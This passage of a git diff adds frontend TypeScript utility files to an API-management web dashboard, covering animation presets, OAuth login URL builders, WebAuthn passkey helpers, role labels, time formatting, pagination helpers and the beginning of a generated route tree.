+    if (eqIdx === -1) {
+      props[seg.trim()] = true
+      continue
+    }
+
+    const key = seg.slice(0, eqIdx).trim()
+    const valRaw = seg.slice(eqIdx + 1).trim()
+    props[key] = parseValue(valRaw)
+  }
+
+  // Set size if not explicitly specified in the string
+  if (props.size == null && size != null) {
+    props.size = size
+  }
+
+  return <IconComponent {...props} />
+}
diff --git a/new-api/web/default/src/lib/motion.ts b/new-api/web/default/src/lib/motion.ts
new file mode 100644
index 0000000..eebb955
--- /dev/null
+++ b/new-api/web/default/src/lib/motion.ts
@@ -0,0 +1,104 @@
+import type { Transition, Variants } from 'motion/react'
+
+const EASE_OUT_CUBIC = [0.33, 1, 0.68, 1] as const
+
+const DURATION = {
+  instant: 0,
+  fast: 0.15,
+  normal: 0.25,
+  slow: 0.35,
+} as const
+
+export const MOTION_TRANSITION: Record<string, Transition> = {
+  default: { duration: DURATION.normal, ease: EASE_OUT_CUBIC },
+  fast: { duration: DURATION.fast, ease: EASE_OUT_CUBIC },
+  slow: { duration: DURATION.slow, ease: EASE_OUT_CUBIC },
+  spring: { type: 'spring', damping: 20, stiffness: 300 },
+  none: { duration: DURATION.instant },
+}
+
+export const MOTION_VARIANTS = {
+  pageEnter: {
+    initial: { opacity: 0, y: 8, filter: 'blur(4px)' },
+    animate: { opacity: 1, y: 0, filter: 'blur(0px)' },
+    exit: { opacity: 0, y: -4, filter: 'blur(2px)' },
+  },
+  fadeIn: {
+    initial: { opacity: 0 },
+    animate: { opacity: 1 },
+    exit: { opacity: 0 },
+  },
+  scaleIn: {
+    initial: { opacity: 0, scale: 0.96 },
+    animate: { opacity: 1, scale: 1 },
+    exit: { opacity: 0, scale: 0.96 },
+  },
+  slideUp: {
+    initial: { opacity: 0, y: 16 },
+    animate: { opacity: 1, y: 0 },
+    exit: { opacity: 0, y: 16 },
+  },
+  slideDown: {
+    initial: { opacity: 0, y: -16 },
+    animate: { opacity: 1, y: 0 },
+    exit: { opacity: 0, y: -16 },
+  },
+  tableRow: {
+    initial: { opacity: 0, y: 4 },
+    animate: { opacity: 1, y: 0 },
+  },
+  cardItem: {
+    initial: { opacity: 0, y: 12, scale: 0.98 },
+    animate: { opacity: 1, y: 0, scale: 1 },
+  },
+  sidebarSlide: {
+    initial: { opacity: 0, x: -8 },
+    animate: { opacity: 1, x: 0 },
+    exit: { opacity: 0, x: -8 },
+  },
+} as const
+
+export const STAGGER_VARIANTS: Variants = {
+  initial: {},
+  animate: { transition: { staggerChildren: 0.04 } },
+}
+
+export const STAGGER_ITEM_VARIANTS: Variants = {
+  initial: { opacity: 0, y: 8 },
+  animate: { opacity: 1, y: 0, transition: MOTION_TRANSITION.default },
+}
+
+export const TABLE_STAGGER_VARIANTS: Variants = {
+  initial: {},
+  animate: { transition: { staggerChildren: 0.03 } },
+}
+
+export const TABLE_ROW_VARIANTS: Variants = {
+  initial: { opacity: 0, y: 4 },
+  animate: { opacity: 1, y: 0, transition: MOTION_TRANSITION.fast },
+}
+
+export const CARD_STAGGER_VARIANTS: Variants = {
+  initial: {},
+  animate: { transition: { staggerChildren: 0.05 } },
+}
+
+export const CARD_ITEM_VARIANTS: Variants = {
+  initial: { opacity: 0, y: 12, scale: 0.98 },
+  animate: {
+    opacity: 1,
+    y: 0,
+    scale: 1,
+    transition: MOTION_TRANSITION.default,
+  },
+}
+
+export const SIDEBAR_STAGGER_VARIANTS: Variants = {
+  initial: {},
+  animate: { transition: { staggerChildren: 0.03, delayChildren: 0.05 } },
+}
+
+export const SIDEBAR_ITEM_VARIANTS: Variants = {
+  initial: { opacity: 0, x: -8 },
+  animate: { opacity: 1, x: 0, transition: MOTION_TRANSITION.fast },
+}
diff --git a/new-api/web/default/src/lib/oauth.ts b/new-api/web/default/src/lib/oauth.ts
new file mode 100644
index 0000000..e64f78b
--- /dev/null
+++ b/new-api/web/default/src/lib/oauth.ts
@@ -0,0 +1,126 @@
+import { api } from './api'
+
+// ============================================================================
+// OAuth URL Builders
+// ============================================================================
+
+/**
+ * Build GitHub OAuth URL
+ */
+export function buildGitHubOAuthUrl(clientId: string, state: string): string {
+  return `https://github.com/login/oauth/authorize?client_id=${clientId}&state=${state}&scope=user:email`
+}
+
+/**
+ * Build Discord OAuth URL
+ */
+export function buildDiscordOAuthUrl(clientId: string, state: string): string {
+  const url = new URL('https://discord.com/oauth2/authorize')
+  url.searchParams.set('client_id', clientId)
+  url.searchParams.set(
+    'redirect_uri',
+    `${window.location.origin}/oauth/discord`
+  )
+  url.searchParams.set('response_type', 'code')
+  url.searchParams.set('scope', 'identify+openid')
+  url.searchParams.set('state', state)
+  return url.toString()
+}
+
+/**
+ * Build OIDC OAuth URL
+ */
+export function buildOIDCOAuthUrl(
+  authUrl: string,
+  clientId: string,
+  state: string
+): string {
+  const url = new URL(authUrl)
+  url.searchParams.set('client_id', clientId)
+  url.searchParams.set('redirect_uri', `${window.location.origin}/oauth/oidc`)
+  url.searchParams.set('response_type', 'code')
+  url.searchParams.set('scope', 'openid profile email')
+  url.searchParams.set('state', state)
+  return url.toString()
+}
+
+/**
+ * Build LinuxDO OAuth URL
+ */
+export function buildLinuxDOOAuthUrl(clientId: string, state: string): string {
+  return `https://connect.linux.do/oauth2/authorize?response_type=code&client_id=${clientId}&state=${state}`
+}
+
+// ============================================================================
+// OAuth Helper Functions
+// ============================================================================
+
+/**
+ * Get OAuth state token
+ * Includes affiliate code from localStorage if available
+ */
+export async function getOAuthState(): Promise<string | null> {
+  try {
+    let path = '/api/oauth/state'
+    const affCode = localStorage.getItem('aff')
+    if (affCode && affCode.length > 0) {
+      path += `?aff=${affCode}`
+    }
+    const res = await api.get(path)
+    if (res.data.success) {
+      return res.data.data
+    }
+    return null
+  } catch (error) {
+    // eslint-disable-next-line no-console
+    console.error('Failed to get OAuth state:', error)
+    return null
+  }
+}
+
+/**
+ * Handle GitHub OAuth binding/login
+ */
+export async function handleGitHubOAuth(clientId: string): Promise<void> {
+  const state = await getOAuthState()
+  if (!state) return
+
+  const url = buildGitHubOAuthUrl(clientId, state)
+  window.open(url, '_blank')
+}
+
+/**
+ * Handle Discord OAuth binding/login
+ */
+export async function handleDiscordOAuth(clientId: string): Promise<void> {
+  const state = await getOAuthState()
+  if (!state) return
+
+  const url = buildDiscordOAuthUrl(clientId, state)
+  window.open(url, '_blank')
+}
+
+/**
+ * Handle OIDC OAuth binding/login
+ */
+export async function handleOIDCOAuth(
+  authUrl: string,
+  clientId: string
+): Promise<void> {
+  const state = await getOAuthState()
+  if (!state) return
+
+  const url = buildOIDCOAuthUrl(authUrl, clientId, state)
+  window.open(url, '_blank')
+}
+
+/**
+ * Handle LinuxDO OAuth binding/login
+ */
+export async function handleLinuxDOOAuth(clientId: string): Promise<void> {
+  const state = await getOAuthState()
+  if (!state) return
+
+  const url = buildLinuxDOOAuthUrl(clientId, state)
+  window.open(url, '_blank')
+}
diff --git a/new-api/web/default/src/lib/passkey.ts b/new-api/web/default/src/lib/passkey.ts
new file mode 100644
index 0000000..31b69ea
--- /dev/null
+++ b/new-api/web/default/src/lib/passkey.ts
@@ -0,0 +1,271 @@
+/**
+ * Passkey helper utilities for WebAuthn credential handling.
+ *
+ * These helpers convert between ArrayBuffer and Base64URL encodings and
+ * normalise server-provided credential options into browser-compatible types.
+ */
+
+/* eslint-disable @typescript-eslint/no-explicit-any */
+
+/**
+ * Convert a base64url string to an ArrayBuffer.
+ */
+type NodeBufferCtor = {
+  from(input: string, encoding: string): { toString(encoding: string): string }
+}
+
+export function base64UrlToArrayBuffer(value?: string | null): ArrayBuffer {
+  if (!value) return new ArrayBuffer(0)
+
+  const padding = '='.repeat((4 - (value.length % 4)) % 4)
+  const base64 = (value + padding).replace(/-/g, '+').replace(/_/g, '/')
+
+  const globalRef = globalThis as typeof globalThis & {
+    Buffer?: NodeBufferCtor
+  }
+
+  const decode =
+    typeof globalRef.atob === 'function'
+      ? globalRef.atob.bind(globalRef)
+      : (input: string) => {
+          if (typeof globalRef.Buffer !== 'undefined') {
+            return globalRef.Buffer.from(input, 'base64').toString('binary')
+          }
+          throw new Error(
+            'Base64 decoding is not supported in this environment'
+          )
+        }
+
+  const binary = decode(base64)
+  const buffer = new ArrayBuffer(binary.length)
+  const bytes = new Uint8Array(buffer)
+
+  for (let i = 0; i < binary.length; i += 1) {
+    bytes[i] = binary.charCodeAt(i)
+  }
+
+  return buffer
+}
+
+/**
+ * Convert an ArrayBuffer to a base64url string.
+ */
+export function arrayBufferToBase64Url(
+  buffer?: ArrayBuffer | ArrayBufferLike | null
+): string {
+  if (!buffer) return ''
+
+  const globalRef = globalThis as typeof globalThis & {
+    Buffer?: NodeBufferCtor
+  }
+
+  const bytes = new Uint8Array(buffer)
+  let binary = ''
+  for (let i = 0; i < bytes.byteLength; i += 1) {
+    binary += String.fromCharCode(bytes[i])
+  }
+
+  const encode =
+    typeof globalRef.btoa === 'function'
+      ? globalRef.btoa.bind(globalRef)
+      : (input: string) => {
+          if (typeof globalRef.Buffer !== 'undefined') {
+            return globalRef.Buffer.from(input, 'binary').toString('base64')
+          }
+          throw new Error(
+            'Base64 encoding is not supported in this environment'
+          )
+        }
+
+  return encode(binary)
+    .replace(/\+/g, '-')
+    .replace(/\//g, '_')
+    .replace(/=+$/g, '')
+}
+
+/**
+ * Prepare credential creation options returned by the backend.
+ */
+export function prepareCredentialCreationOptions(
+  payload: any
+): PublicKeyCredentialCreationOptions {
+  const options =
+    payload?.publicKey ??
+    payload?.PublicKey ??
+    payload?.response ??
+    payload?.Response
+
+  if (!options) {
+    throw new Error(
+      'Unable to parse Passkey registration options from response'
+    )
+  }
+
+  const publicKey: PublicKeyCredentialCreationOptions & Record<string, any> = {
+    ...options,
+    challenge: base64UrlToArrayBuffer(options.challenge),
+    user: {
+      ...options.user,
+      id: base64UrlToArrayBuffer(options.user?.id),
+    },
+  }
+
+  if (Array.isArray(options.excludeCredentials)) {
+    publicKey.excludeCredentials = options.excludeCredentials.map(
+      (item: any) => ({
+        ...item,
+        id: base64UrlToArrayBuffer(item.id),
+      })
+    )
+  }
+
+  if (
+    Array.isArray(options.attestationFormats) &&
+    options.attestationFormats.length === 0
+  ) {
+    delete publicKey.attestationFormats
+  }
+
+  return publicKey
+}
+
+/**
+ * Prepare credential request options returned by the backend.
+ */
+export function prepareCredentialRequestOptions(
+  payload: any
+): PublicKeyCredentialRequestOptions {
+  const options =
+    payload?.publicKey ??
+    payload?.PublicKey ??
+    payload?.response ??
+    payload?.Response
+
+  if (!options) {
+    throw new Error('Unable to parse Passkey login options from response')
+  }
+
+  const publicKey: PublicKeyCredentialRequestOptions & Record<string, any> = {
+    ...options,
+    challenge: base64UrlToArrayBuffer(options.challenge),
+  }
+
+  if (Array.isArray(options.allowCredentials)) {
+    publicKey.allowCredentials = options.allowCredentials.map((item: any) => ({
+      ...item,
+      id: base64UrlToArrayBuffer(item.id),
+    }))
+  }
+
+  return publicKey
+}
+
+/**
+ * Build payload for registering a new credential.
+ */
+export function buildRegistrationResult(
+  credential: PublicKeyCredential | null
+): Record<string, any> | null {
+  if (!credential) return null
+
+  const response = credential.response as AuthenticatorAttestationResponse & {
+    getTransports?: () => string[]
+  }
+
+  const transports =
+    typeof response.getTransports === 'function'
+      ? response.getTransports()
+      : undefined
+
+  return {
+    id: credential.id,
+    rawId: arrayBufferToBase64Url(credential.rawId),
+    type: credential.type,
+    authenticatorAttachment: credential.authenticatorAttachment,
+    response: {
+      attestationObject: arrayBufferToBase64Url(response.attestationObject),
+      clientDataJSON: arrayBufferToBase64Url(response.clientDataJSON),
+      transports,
+    },
+    clientExtensionResults: credential.getClientExtensionResults?.() ?? {},
+  }
+}
+
+/**
+ * Build payload for verifying an existing credential.
+ */
+export function buildAssertionResult(
+  credential: PublicKeyCredential | null
+): Record<string, any> | null {
+  if (!credential) return null
+
+  const response = credential.response as AuthenticatorAssertionResponse
+
+  return {
+    id: credential.id,
+    rawId: arrayBufferToBase64Url(credential.rawId),
+    type: credential.type,
+    authenticatorAttachment: credential.authenticatorAttachment,
+    response: {
+      authenticatorData: arrayBufferToBase64Url(response.authenticatorData),
+      clientDataJSON: arrayBufferToBase64Url(response.clientDataJSON),
+      signature: arrayBufferToBase64Url(response.signature),
+      userHandle: response.userHandle
+        ? arrayBufferToBase64Url(response.userHandle)
+        : null,
+    },
+    clientExtensionResults: credential.getClientExtensionResults?.() ?? {},
+  }
+}
+
+/**
+ * Check if current environment supports Passkey/WebAuthn.
+ */
+export async function isPasskeySupported(): Promise<boolean> {
+  if (typeof window === 'undefined') return false
+  const { PublicKeyCredential } = window
+  if (!PublicKeyCredential) return false
+
+  if (
+    typeof PublicKeyCredential.isConditionalMediationAvailable === 'function'
+  ) {
+    try {
+      const available =
+        await PublicKeyCredential.isConditionalMediationAvailable()
+      if (available) return true
+    } catch {
+      // ignore
+    }
+  }
+
+  if (
+    typeof PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable ===
+    'function'
+  ) {
+    try {
+      return await PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable()
+    } catch {
+      return false
+    }
+  }
+
+  return true
+}
+
+/**
+ * Execute an async Passkey credential creation flow.
+ */
+export async function createCredential(
+  options: PublicKeyCredentialCreationOptions
+) {
+  return navigator.credentials.create({ publicKey: options })
+}
+
+/**
+ * Execute an async Passkey credential request flow.
+ */
+export async function getCredential(
+  options: PublicKeyCredentialRequestOptions
+) {
+  return navigator.credentials.get({ publicKey: options })
+}
diff --git a/new-api/web/default/src/lib/roles.ts b/new-api/web/default/src/lib/roles.ts
new file mode 100644
index 0000000..20807a7
--- /dev/null
+++ b/new-api/web/default/src/lib/roles.ts
@@ -0,0 +1,27 @@
+import { t } from 'i18next'
+
+export const ROLE = {
+  GUEST: 0, // 后续如果需要用到这个角色那就再加，同语先留一下
+  USER: 1,
+  ADMIN: 10,
+  SUPER_ADMIN: 100,
+} as const
+
+export type RoleValue = (typeof ROLE)[keyof typeof ROLE]
+
+const DEFAULT_ROLE = ROLE.GUEST
+
+const ROLE_LABEL_KEYS: Record<RoleValue, string> = {
+  [ROLE.SUPER_ADMIN]: 'Super Admin',
+  [ROLE.ADMIN]: 'Admin',
+  [ROLE.USER]: 'User',
+  [ROLE.GUEST]: 'Guest',
+}
+
+export function getRoleLabelKey(role?: number): string {
+  return ROLE_LABEL_KEYS[role as RoleValue] ?? ROLE_LABEL_KEYS[DEFAULT_ROLE]
+}
+
+export function getRoleLabel(role?: number): string {
+  return t(getRoleLabelKey(role))
+}
diff --git a/new-api/web/default/src/lib/secure-verification.ts b/new-api/web/default/src/lib/secure-verification.ts
new file mode 100644
index 0000000..36d5ac4
--- /dev/null
+++ b/new-api/web/default/src/lib/secure-verification.ts
@@ -0,0 +1,48 @@
+import type { AxiosError } from 'axios'
+
+export interface VerificationRequiredInfo {
+  code?: string
+  message: string
+  required: boolean
+}
+
+/**
+ * Determine whether an Axios error indicates secure verification is required.
+ */
+export function isVerificationRequiredError(
+  error: unknown
+): error is AxiosError {
+  if (!error || typeof error !== 'object') return false
+  const axiosError = error as AxiosError<{ code?: string }>
+  const status = axiosError.response?.status
+  if (status !== 403) return false
+
+  const code = axiosError.response?.data?.code
+  if (!code) return false
+
+  const verificationCodes = new Set([
+    'VERIFICATION_REQUIRED',
+    'VERIFICATION_EXPIRED',
+    'VERIFICATION_INVALID',
+  ])
+
+  return verificationCodes.has(code)
+}
+
+/**
+ * Extract verification requirement info from an Axios error.
+ */
+export function extractVerificationInfo(
+  error: unknown
+): VerificationRequiredInfo {
+  const axiosError = error as AxiosError<{ code?: string; message?: string }>
+  const code = axiosError.response?.data?.code
+  const message =
+    axiosError.response?.data?.message ?? 'Secure verification is required'
+
+  return {
+    code,
+    message,
+    required: true,
+  }
+}
diff --git a/new-api/web/default/src/lib/show-submitted-data.tsx b/new-api/web/default/src/lib/show-submitted-data.tsx
new file mode 100644
index 0000000..7907a84
--- /dev/null
+++ b/new-api/web/default/src/lib/show-submitted-data.tsx
@@ -0,0 +1,15 @@
+import { toast } from 'sonner'
+
+export function showSubmittedData(
+  data: unknown,
+  title: string = 'You submitted the following values:'
+) {
+  toast.message(title, {
+    description: (
+      // w-[340px]
+      <pre className='mt-2 w-full overflow-x-auto rounded-md bg-slate-950 p-4'>
+        <code className='text-white'>{JSON.stringify(data, null, 2)}</code>
+      </pre>
+    ),
+  })
+}
diff --git a/new-api/web/default/src/lib/time.ts b/new-api/web/default/src/lib/time.ts
new file mode 100644
index 0000000..d716188
--- /dev/null
+++ b/new-api/web/default/src/lib/time.ts
@@ -0,0 +1,171 @@
+/**
+ * Time utility functions for consistent time handling across the application
+ */
+import dayjs from '@/lib/dayjs'
+
+/**
+ * Time granularity type
+ */
+export type TimeGranularity = 'hour' | 'day' | 'week'
+
+/**
+ * Convert Date object to Unix timestamp (seconds)
+ */
+export function dateToUnixTimestamp(date: Date): number {
+  return Math.floor(date.getTime() / 1000)
+}
+
+/**
+ * Get start of day for a Unix timestamp (seconds)
+ * Sets time to 00:00:00
+ */
+export function toStartOfDay(tsSec: number): number {
+  const d = new Date(tsSec * 1000)
+  d.setHours(0, 0, 0, 0)
+  return Math.floor(d.getTime() / 1000)
+}
+
+/**
+ * Get start of day for a Date object
+ * Returns new Date with time set to 00:00:00
+ */
+export function getStartOfDay(date: Date = new Date()): Date {
+  const d = new Date(date)
+  d.setHours(0, 0, 0, 0)
+  return d
+}
+
+/**
+ * Get end of day for a Date object
+ * Returns new Date with time set to 23:59:59.999
+ */
+export function getEndOfDay(date: Date = new Date()): Date {
+  const d = new Date(date)
+  d.setHours(23, 59, 59, 999)
+  return d
+}
+
+/**
+ * Calculate date range with start and end of day normalization
+ * @param days Number of days to go back
+ * @param fromDate Starting point (defaults to now)
+ * @returns Object with normalized start (00:00:00) and end (23:59:59) dates
+ */
+export function getNormalizedDateRange(
+  days: number,
+  fromDate: Date = new Date()
+): { start: Date; end: Date } {
+  const end = new Date(fromDate)
+  const start = new Date(fromDate)
+  start.setDate(end.getDate() - days)
+
+  return {
+    start: getStartOfDay(start),
+    end: getEndOfDay(end),
+  }
+}
+
+/**
+ * Compute time range as Unix timestamps (seconds)
+ * @param days Default number of days if no dates provided
+ * @param startDate Optional start date
+ * @param endDate Optional end date
+ * @param useStartOfDay Whether to normalize to start/end of day
+ * @returns Object with start_timestamp and end_timestamp in seconds
+ */
+export function computeTimeRange(
+  days: number,
+  startDate?: Date,
+  endDate?: Date,
+  useStartOfDay = false
+): { start_timestamp: number; end_timestamp: number } {
+  const now = Math.floor(Date.now() / 1000)
+
+  if (useStartOfDay) {
+    const defaultEnd = toStartOfDay(now)
+    const end = endDate
+      ? toStartOfDay(dateToUnixTimestamp(endDate))
+      : defaultEnd
+    const start = startDate
+      ? toStartOfDay(dateToUnixTimestamp(startDate))
+      : end - days * 24 * 3600
+
+    return {
+      start_timestamp: start,
+      end_timestamp: end + 24 * 3600 - 1, // End of day
+    }
+  }
+
+  // Normal mode without day normalization
+  // Add 1 hour buffer to end time (matches legacy frontend behavior)
+  // This ensures the current hour's data is fully included
+  const end = endDate ? dateToUnixTimestamp(endDate) : now + 3600
+  const start = startDate
+    ? dateToUnixTimestamp(startDate)
+    : end - days * 24 * 3600
+
+  return { start_timestamp: start, end_timestamp: end }
+}
+
+/**
+ * Format Unix timestamp (seconds) to YYYY-MM-DD
+ */
+export function formatDate(tsSec: number): string {
+  return dayjs(tsSec * 1000).format('YYYY-MM-DD')
+}
+
+/**
+ * Format Date object to YYYY-MM-DD HH:mm:ss
+ */
+export function formatDateTimeObject(date: Date): string {
+  return dayjs(date).format('YYYY-MM-DD HH:mm:ss')
+}
+
+/**
+ * Format timestamp for chart display based on time granularity
+ * @param timestamp Unix timestamp in seconds
+ * @param granularity Time granularity: 'hour', 'day', or 'week'
+ * @returns Formatted string suitable for chart axis
+ */
+export function formatChartTime(
+  timestamp: number,
+  granularity: TimeGranularity = 'day'
+): string {
+  const d = dayjs(timestamp * 1000)
+  let result = d.format('MM-DD')
+
+  if (granularity === 'hour') {
+    result += ` ${d.format('HH')}:00`
+  } else if (granularity === 'week') {
+    const weekEnd = d.add(6, 'day')
+    result += ` - ${weekEnd.format('MM-DD')}`
+  }
+
+  return result
+}
+
+/**
+ * Add time duration to a date
+ * @param months Number of months to add
+ * @param days Number of days to add
+ * @param hours Number of hours to add
+ * @param baseDate Base date to add time to (defaults to now)
+ * @returns New date with added time, or undefined if all parameters are 0
+ */
+export function addTimeToDate(
+  months: number,
+  days: number,
+  hours: number,
+  baseDate: Date = new Date()
+): Date | undefined {
+  if (months === 0 && days === 0 && hours === 0) {
+    return undefined
+  }
+
+  const result = new Date(baseDate)
+  result.setMonth(result.getMonth() + months)
+  result.setDate(result.getDate() + days)
+  result.setHours(result.getHours() + hours)
+
+  return result
+}
diff --git a/new-api/web/default/src/lib/utils.ts b/new-api/web/default/src/lib/utils.ts
new file mode 100644
index 0000000..134991a
--- /dev/null
+++ b/new-api/web/default/src/lib/utils.ts
@@ -0,0 +1,95 @@
+import { type ClassValue, clsx } from 'clsx'
+import { twMerge } from 'tailwind-merge'
+
+export function cn(...inputs: ClassValue[]) {
+  return twMerge(clsx(inputs))
+}
+
+export function sleep(ms: number = 1000) {
+  return new Promise((resolve) => setTimeout(resolve, ms))
+}
+
+/**
+ * 清理 CSS 变量名，替换特殊字符
+ * 用于将模型名称（如 gpt-3.5-turbo）转换为有效的 CSS 变量名（gpt-3-5-turbo）
+ * @param name - 原始名称
+ * @returns 清理后的 CSS 变量名
+ */
+export function sanitizeCssVariableName(name: string): string {
+  // 将点号、空格、斜杠替换为连字符
+  // 移除其他不允许在 CSS 变量名中的特殊字符
+  return name.replace(/[.\s/]/g, '-').replace(/[^\w-]/g, '')
+}
+
+/**
+ * Generates page numbers for pagination with ellipsis
+ * @param currentPage - Current page number (1-based)
+ * @param totalPages - Total number of pages
+ * @returns Array of page numbers and ellipsis strings
+ *
+ * Examples:
+ * - Small dataset (≤5 pages): [1, 2, 3, 4, 5]
+ * - Near beginning: [1, 2, 3, 4, '...', 10]
+ * - In middle: [1, '...', 4, 5, 6, '...', 10]
+ * - Near end: [1, '...', 7, 8, 9, 10]
+ */
+export function getPageNumbers(currentPage: number, totalPages: number) {
+  const maxVisiblePages = 5 // Maximum number of page buttons to show
+  const rangeWithDots = []
+
+  if (totalPages <= maxVisiblePages) {
+    // If total pages is 5 or less, show all pages
+    for (let i = 1; i <= totalPages; i++) {
+      rangeWithDots.push(i)
+    }
+  } else {
+    // Always show first page
+    rangeWithDots.push(1)
+
+    if (currentPage <= 3) {
+      // Near the beginning: [1] [2] [3] [4] ... [10]
+      for (let i = 2; i <= 4; i++) {
+        rangeWithDots.push(i)
+      }
+      rangeWithDots.push('...', totalPages)
+    } else if (currentPage >= totalPages - 2) {
+      // Near the end: [1] ... [7] [8] [9] [10]
+      rangeWithDots.push('...')
+      for (let i = totalPages - 3; i <= totalPages; i++) {
+        rangeWithDots.push(i)
+      }
+    } else {
+      // In the middle: [1] ... [4] [5] [6] ... [10]
+      rangeWithDots.push('...')
+      for (let i = currentPage - 1; i <= currentPage + 1; i++) {
+        rangeWithDots.push(i)
+      }
+      rangeWithDots.push('...', totalPages)
+    }
+  }
+
+  return rangeWithDots
+}
+
+/**
+ * Truncate text to a maximum length with ellipsis
+ */
+export function truncateText(text: string, maxLength: number): string {
+  if (!text || text.length <= maxLength) return text
+  return text.slice(0, maxLength) + '...'
+}
+
+/**
+ * Try to parse and pretty-print JSON, fallback to original text if invalid
+ * @param text - Text that might be JSON
+ * @returns Pretty-printed JSON or original text
+ */
+export function tryPrettyJson(text: string): string {
+  const raw = (text ?? '').toString().trim()
+  if (!raw) return ''
+  try {
+    return JSON.stringify(JSON.parse(raw), null, 2)
+  } catch {
+    return raw
+  }
+}
diff --git a/new-api/web/default/src/lib/vchart.ts b/new-api/web/default/src/lib/vchart.ts
new file mode 100644
index 0000000..0a8bdd2
--- /dev/null
+++ b/new-api/web/default/src/lib/vchart.ts
@@ -0,0 +1,4 @@
+export const VCHART_OPTION = {
+  // 与老前端保持一致（浏览器环境渲染优化）
+  mode: 'desktop-browser',
+} as const
diff --git a/new-api/web/default/src/routeTree.gen.ts b/new-api/web/default/src/routeTree.gen.ts
new file mode 100644
index 0000000..fd78de1
--- /dev/null
+++ b/new-api/web/default/src/routeTree.gen.ts
@@ -0,0 +1,1262 @@
+/* eslint-disable */
+
+// @ts-nocheck
+
+// noinspection JSUnusedGlobalSymbols
+
+// This file was automatically generated by TanStack Router.
+// You should NOT make any changes in this file as it will be overwritten.
+// Additionally, you should also exclude this file from your linter and/or formatter to prevent it from being checked or modified.
+
+import { Route as rootRouteImport } from './routes/__root'
+import { Route as UserAgreementRouteImport } from './routes/user-agreement'
+import { Route as PrivacyPolicyRouteImport } from './routes/privacy-policy'
+import { Route as AuthenticatedRouteRouteImport } from './routes/_authenticated/route'
+import { Route as authRouteRouteImport } from './routes/(auth)/route'
+import { Route as IndexRouteImport } from './routes/index'
+import { Route as SetupIndexRouteImport } from './routes/setup/index'
+import { Route as PricingIndexRouteImport } from './routes/pricing/index'
+import { Route as AboutIndexRouteImport } from './routes/about/index'
+import { Route as OauthProviderRouteImport } from './routes/oauth/$provider'
+import { Route as AuthenticatedChat2linkRouteImport } from './routes/_authenticated/chat2link'
+import { Route as errors503RouteImport } from './routes/(errors)/503'
+import { Route as errors500RouteImport } from './routes/(errors)/500'
+import { Route as errors404RouteImport } from './routes/(errors)/404'
+import { Route as errors403RouteImport } from './routes/(errors)/403'
+import { Route as errors401RouteImport } from './routes/(errors)/401'
+import { Route as authSignUpRouteImport } from './routes/(auth)/sign-up'
+import { Route as authSignInRouteImport } from './routes/(auth)/sign-in'
+import { Route as authResetRouteImport } from './routes/(auth)/reset'
+import { Route as authOtpRouteImport } from './routes/(auth)/otp'
+import { Route as authOauthRouteImport } from './routes/(auth)/oauth'
+import { Route as authForgotPasswordRouteImport } from './routes/(auth)/forgot-password'
+import { Route as AuthenticatedSystemSettingsRouteRouteImport } from './routes/_authenticated/system-settings/route'
+import { Route as PricingModelIdIndexRouteImport } from './routes/pricing/$modelId/index'
+import { Route as AuthenticatedWalletIndexRouteImport } from './routes/_authenticated/wallet/index'
+import { Route as AuthenticatedUsersIndexRouteImport } from './routes/_authenticated/users/index'
+import { Route as AuthenticatedUsageLogsIndexRouteImport } from './routes/_authenticated/usage-logs/index'
+import { Route as AuthenticatedSystemSettingsIndexRouteImport } from './routes/_authenticated/system-settings/index'
+import { Route as AuthenticatedSubscriptionsIndexRouteImport } from './routes/_authenticated/subscriptions/index'
+import { Route as AuthenticatedRedemptionCodesIndexRouteImport } from './routes/_authenticated/redemption-codes/index'
+import { Route as AuthenticatedProfileIndexRouteImport } from './routes/_authenticated/profile/index'
+import { Route as AuthenticatedPlaygroundIndexRouteImport } from './routes/_authenticated/playground/index'
+import { Route as AuthenticatedModelsIndexRouteImport } from './routes/_authenticated/models/index'
+import { Route as AuthenticatedKeysIndexRouteImport } from './routes/_authenticated/keys/index'
+import { Route as AuthenticatedDashboardIndexRouteImport } from './routes/_authenticated/dashboard/index'
+import { Route as AuthenticatedChannelsIndexRouteImport } from './routes/_authenticated/channels/index'
+import { Route as AuthenticatedUsageLogsSectionRouteImport } from './routes/_authenticated/usage-logs/$section'
+import { Route as AuthenticatedModelsSectionRouteImport } from './routes/_authenticated/models/$section'
+import { Route as AuthenticatedErrorsErrorRouteImport } from './routes/_authenticated/errors/$error'
+import { Route as AuthenticatedDashboardSectionRouteImport } from './routes/_authenticated/dashboard/$section'
+import { Route as AuthenticatedChatChatIdRouteImport } from './routes/_authenticated/chat/$chatId'
+import { Route as authUserResetRouteImport } from './routes/(auth)/user/reset'
+import { Route as AuthenticatedSystemSettingsRequestLimitsIndexRouteImport } from './routes/_authenticated/system-settings/request-limits/index'
+import { Route as AuthenticatedSystemSettingsModelsIndexRouteImport } from './routes/_authenticated/system-settings/models/index'
+import { Route as AuthenticatedSystemSettingsMaintenanceIndexRouteImport } from './routes/_authenticated/system-settings/maintenance/index'
+import { Route as AuthenticatedSystemSettingsIntegrationsIndexRouteImport } from './routes/_authenticated/system-settings/integrations/index'
+import { Route as AuthenticatedSystemSettingsGeneralIndexRouteImport } from './routes/_authenticated/system-settings/general/index'
+import { Route as AuthenticatedSystemSettingsContentIndexRouteImport } from './routes/_authenticated/system-settings/content/index'
+import { Route as AuthenticatedSystemSettingsAuthIndexRouteImport } from './routes/_authenticated/system-settings/auth/index'
+import { Route as AuthenticatedSystemSettingsRequestLimitsSectionRouteImport } from './routes/_authenticated/system-settings/request-limits/$section'
+import { Route as AuthenticatedSystemSettingsModelsSectionRouteImport } from './routes/_authenticated/system-settings/models/$section'
+import { Route as AuthenticatedSystemSettingsMaintenanceSectionRouteImport } from './routes/_authenticated/system-settings/maintenance/$section'
+import { Route as AuthenticatedSystemSettingsIntegrationsSectionRouteImport } from './routes/_authenticated/system-settings/integrations/$section'
+import { Route as AuthenticatedSystemSettingsGeneralSectionRouteImport } from './routes/_authenticated/system-settings/general/$section'
+import { Route as AuthenticatedSystemSettingsContentSectionRouteImport } from './routes/_authenticated/system-settings/content/$section'
+import { Route as AuthenticatedSystemSettingsAuthSectionRouteImport } from './routes/_authenticated/system-settings/auth/$section'
+
+const UserAgreementRoute = UserAgreementRouteImport.update({
+  id: '/user-agreement',
+  path: '/user-agreement',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const PrivacyPolicyRoute = PrivacyPolicyRouteImport.update({
+  id: '/privacy-policy',
+  path: '/privacy-policy',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const AuthenticatedRouteRoute = AuthenticatedRouteRouteImport.update({
+  id: '/_authenticated',
